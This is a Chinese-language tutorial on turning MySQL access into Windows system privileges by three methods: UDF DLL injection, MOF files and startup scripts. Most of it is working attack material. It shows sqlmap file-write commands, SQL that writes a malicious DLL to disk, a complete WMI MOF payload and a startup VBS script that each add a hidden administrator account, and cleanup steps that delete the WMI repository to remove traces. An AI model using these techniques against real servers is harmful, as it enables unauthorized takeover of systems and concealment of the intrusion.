一、UDF提权
1.1、UDF(user-defined function)
用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。
1.2、什么情况下需使用mysql提权?
拥有mysql的权限,但是没拿到mysql所在服务器的任何权限,通过mysql提权,将mysql权限提升到操作系统权限
1.3、条件
1、知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)
2、secure_file_priv的值为空
1.4、方式
1、创建/lib/plugin目录
动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数。
Mysql版本大于5.1:udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。
Mysql版本小于5.1:
如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。
如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。
并且目前绝大多数项目的数据库版本都大于5.1,所以我们以第一种方式来模拟:
php
#NTFS ADS流创建语句
mysql> select 'x' into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION';
#创建不一定成功,不成功的情况下还是利用webshell的权限创建目录

2、导入动态链接库
那么这个dll文件在哪了?这两个文件在sqlmap和msf里面都有内置。
首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为\sqlmap\data\udf\mysql
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。
解码命令:
python
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
存在sql注入时我们可以通过sqlmap来上传动态链接库
python
python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1"
--file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll"
--file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"
没有sql注入时,我们可以通过执行sql语句INTO DUMPFILE来进行写入动态链接库
python
#select后面为动态链接库的十六进制编码(数据太长,这里省略显示)
SELECT 0x4d5a900003... INTO DUMPFILE
'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll';
动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。

3、创建自定义函数
sql
#原本执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
#修改后执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
4、执行系统命令
sql
#创建成功后,我们利用自定义函数进行命令执行
mysql > select sys_eval('whoami');
//output
administrator
二、MOF提权
2.1、原理
mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
但是现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。
2.2、vbs脚本
sql
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user suifeng p@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators suifeng /add\")"; #创建用户
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2.3、上传脚本到指定目录
sql
select load_file("C:/Documents and Settings/suifeng.mof")
into dumpfile "c:/windows/system32/wbem/mof/suifeng.mof";
2.4、mof提权痕迹清理
因为每隔5秒钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件:
sql
#停止winmgmt服务
net stop winmgmt
#删除Repository文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
#重新启动服务
net start winmgmt
三、启动项提权
3.1、原理
通过mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令。
3.2、利用方式
启动项路径:
sql
#2003
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
有了路径我们在mysql的shell下输入如下代码:
sql
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
然后重启,即可发现vbs脚本里面创建的用户:
